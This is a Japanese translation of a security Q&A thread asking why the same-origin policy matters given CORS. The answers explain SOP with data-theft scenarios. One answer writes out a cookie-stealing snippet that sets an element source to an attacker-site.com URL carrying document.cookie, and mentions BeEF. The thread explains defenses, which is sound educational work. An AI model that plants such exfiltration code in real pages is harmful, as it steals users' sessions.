CORSの存在により、同じOriginポリシーはどのような目的に役立ちますか？

Question

CORSをしばらく使用していて、理解していると思います。しかし、私の知る限りでは、攻撃者が適切と思われるときに制御できる、呼び出されるサーバーによって許可元ヘッダーが提供されるため、同じOriginポリシーでは、挿入されたスクリプトが攻撃者のサーバーを呼び出すことを防止できません。

さらに、自分のサーバーをプロキシとして使用し、ヘッダーをスプーフィングすることで、CORS設定に関係なく、本質的に世界中の任意のサーバーに対してHTTP呼び出しを行うことができます。

攻撃者がサーバーで何でもできるとすると、同じOriginポリシーが無効になるということですか？

multithr3at3d · Accepted Answer

CORSがどこで、なぜ使用されているのか誤解していると思います。これは、（たとえば、Access-Control-Allow-Origin: *ヘッダーを使用して）スクリプトが信頼されていないサーバーを呼び出すのを防ぐことを目的としたものではありません。デフォルトの制限付きポリシーでは、データを送信できるかどうかも制限されていません。サーバーからのヘッダーがなくても、クライアントはサーバーが受信する任意のデータを送信できます。

デフォルトのポリシーが役立つ例を次に示します。

会社の機密情報を提供するイントラネットWebサイトがあるとします。攻撃者はWebサイトが存在することを知っており、攻撃者が管理するWebサイトを閲覧する企業ユーザーがいる場合、JavaScriptでクロスオリジンAJAXリクエストを作成してWebサイトからデータを引き出します。これが発生すると、JavaScriptイントラネットサーバーに到達しますが、Access-Control-Allow-Originヘッダーがないため、データを返すことを拒否します。

もう1つのシナリオは、ソーシャルメディアWebサイトにログインしていることを攻撃者が知っており、プライベートチャットを読みたい場合です。攻撃者は、JavaScriptを作成して、ログインしているユーザーからメッセージをプルし、ユーザーがWebサイトにアクセスしたときにクロスオリジンリクエストを使用します。これは、前述のヘッダーなしでも防止されます。

どちらのシナリオでも、ターゲットWebサイトにはポリシーを緩和するために必要なヘッダーが付いていないため、攻撃者はクロスOriginデータを読み取ることができません。問題のシステムにアクセスできないため、攻撃者はこれらのヘッダーを制御しません。

さらに、自分のサーバーをプロキシとして使用し、ヘッダーをスプーフィングすることで、CORS設定に関係なく、本質的に世界中の任意のサーバーに対してHTTP呼び出しを行うことができます

たぶん、これはあなたに何をもたらしますか？特に、資格情報が間違ったドメインに送信されないため、上記で提供した2つのシナリオのいずれも実行できません。

CBHacking · Answer

CORSの理解には重要な側面が欠けています。なぜそれが存在するのか。 CORSはSOPをまったく廃止しません。 CORSが行うことは、サイト所有者が自分のサイトのSOPの保護を選択的に削減できるようにすることです。 CORSを設定せずに（つまり、デフォルトを使用して）設計上、CORSを介してサードパーティサイトのSOPを下げることはできません（応答ヘッダーを挿入できない場合）。クロスオリジンリクエストが試行されたときのブラウザの動作）は、CORSが存在する前でも実行できます。

たとえば、基本的なGET/POSTクロスオリジンリクエストの送信は常に可能でした。非表示のフレームにHTMLフォームを作成し、スクリプトを使用してフォームを送信するだけです。スクリプトは応答を読み取ることはできませんが、要求を送信することはできます。 CORSを使用すると、スクリプトでリクエストに関する詳細（フォームで設定できない追加のヘッダーなど）を指定し、応答も表示できます。ただし、宛先サーバーが許可する場合のみです。

あなたが説明するシナリオ-攻撃者がスクリプトをサードパーティのサイトに挿入し、スクリプトが攻撃者のサーバーにコールバックする場合-CORSはまったく必要ありません。 CORSを使用せずにBEEFが実行するような高度な攻撃を阻止するのは少し不格好です（非表示のiframeトリックを使用して可能ですが、実際には、XMLHttpRequestの前に「Web 2.0」ページが機能していました）。「犠牲者のdocument.cookieを送信する私のサーバーへ」はCORSをまったく必要としません。ソースを"https://attacker-site.com/?stolencookies=" + document.cookieなどに設定して、非表示の要素（スクリプトやスタイルシートタグなど）を作成するだけです。挿入されたスクリプトは応答を認識できませんが、一般にCORSやXHR/fetchを必要とせずに、悪用されたサイトからデータを送信できます。

攻撃者がスクリプトをサードパーティのサイトに挿入できる場合、それはそのサイトのユーザーのセキュリティのためのゲームオーバーです。 CORSもSOPも、その時点で誰も保存しません。 SOPは、attacker.comのブラウザがthirdparty.comからデータを読み取るのを防ぎますが、SOPは、サードパーティのcom。被害者のブラウザがattacker.comにデータを送信します。